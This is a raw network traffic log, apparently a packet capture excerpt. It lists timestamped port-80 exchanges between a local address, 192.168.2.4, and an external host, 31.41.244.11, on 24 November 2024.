Nov 24, 2024 14:24:23.235336065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.235389948 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.235416889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.235465050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.236172915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.236227036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.236284971 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.236382961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.236929893 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.237041950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.237056017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.237080097 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.237900019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.237946987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.238008022 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.238166094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.238791943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.238841057 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.238892078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.238976002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.239732981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.239792109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.239825010 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.239866018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.240664959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.240725040 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.240776062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.240809917 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.241576910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.241638899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.241673946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.241774082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.242515087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.242563963 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.242568970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.242605925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.243449926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.243510008 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.243563890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.243623018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.244407892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.244472980 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.244534016 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.244678020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.245320082 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.245414972 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.245443106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.245487928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.246304035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.246355057 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.246442080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.246488094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.247164965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.247271061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.247304916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.247324944 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.248241901 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.248289108 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.248374939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.248467922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.249032021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.249087095 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.249166012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.249209881 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.249972105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.250036001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.250087023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.250132084 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.250910044 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.250962973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.251013994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.251054049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.251810074 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.251862049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.251918077 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.251964092 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.252794981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.252871037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.252918005 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.253662109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.253777981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.253840923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.254606009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.254668951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.254746914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.255116940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.255538940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.255657911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.255698919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.256464958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.256505966 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.256541014 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.256582022 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.257404089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.257472992 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.257504940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.257555962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.258322954 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.258374929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.258428097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.258518934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.259221077 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.259274960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.259308100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.259352922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.412769079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.412782907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.412856102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.413033962 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.413228035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.413273096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.413932085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.413978100 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.414109945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.414859056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.414901018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.414937019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.415060997 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.415770054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.415880919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.415915966 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.416722059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.416848898 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.416887999 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.417897940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.417937994 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.417992115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.418728113 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.418776989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.418785095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.419231892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.419523001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.419609070 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.419645071 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.420433044 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.420475006 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.420538902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.421395063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.421442986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.421458006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.422271013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.422331095 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.422363043 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.422404051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.423188925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.423253059 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.423337936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.424149990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.424185991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.424185991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.424288034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.425136089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.425174952 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.425206900 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.425997019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.426034927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.426093102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.426127911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.426904917 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.426987886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.427020073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.427083969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.427911997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.427970886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.428035021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.428075075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.428800106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.428839922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.428921938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.428960085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.429749966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.429791927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.429826021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.429866076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.430655003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.430694103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.430785894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.430823088 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.431690931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.431746960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.431813002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.431977034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.432543039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.432580948 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.432688951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.432728052 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.433439970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.433480024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.433549881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.433588982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.434374094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.434412956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.434487104 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.434530973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.435292006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.435339928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.435386896 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.435425997 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.436204910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.436250925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.436336040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.437144995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.437190056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.437252045 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.438112974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.438153028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.438224077 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.438261032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.439029932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.439153910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.439178944 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.439193010 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.439938068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.440021038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.440053940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.440188885 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.440859079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.440911055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.440979958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.441018105 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.441782951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.441843033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.441909075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.441946983 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.442718983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.442758083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.442825079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.442861080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.443638086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.443692923 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.443726063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.444576025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.444696903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.444737911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.445504904 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.445568085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.445609093 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.446429968 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.446522951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.446563959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.447386026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.447510958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.447549105 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.448318005 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.448370934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.448391914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.449240923 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.449306011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.449374914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.450176001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.450218916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.450290918 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.450324059 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.451127052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.451220036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.451262951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.452004910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.452073097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.452112913 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.452954054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.453000069 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.453068018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.453875065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.453912973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.454004049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.454799891 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.454845905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.454910040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.454946995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.455725908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.455888033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.455926895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.456651926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.456777096 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.456804037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.456834078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.457587004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.457720041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.457762957 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.458511114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.458647966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.458687067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.459547997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.459681988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.459718943 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.460460901 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.460505009 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.460598946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.461283922 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.461327076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.614232063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.614245892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.614306927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.614404917 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.614626884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.614670992 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.614761114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.614799976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.615583897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.615706921 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.615744114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.616496086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.616658926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.616700888 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.617439032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.617479086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.617594004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.618355989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.618395090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.618465900 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.619096041 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.619271040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.619374990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.619425058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.620284081 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.620399952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.620439053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.621145964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.621186018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.621265888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.621408939 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.622055054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.622102976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.622164011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.622206926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.622993946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.623037100 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.623090982 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.623126984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.623914957 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.624053001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.624093056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.624856949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.624910116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.624922037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.625094891 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.625778913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.625823975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.625886917 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.625957012 CET	49778	80	192.168.2.4	31.41.244.11
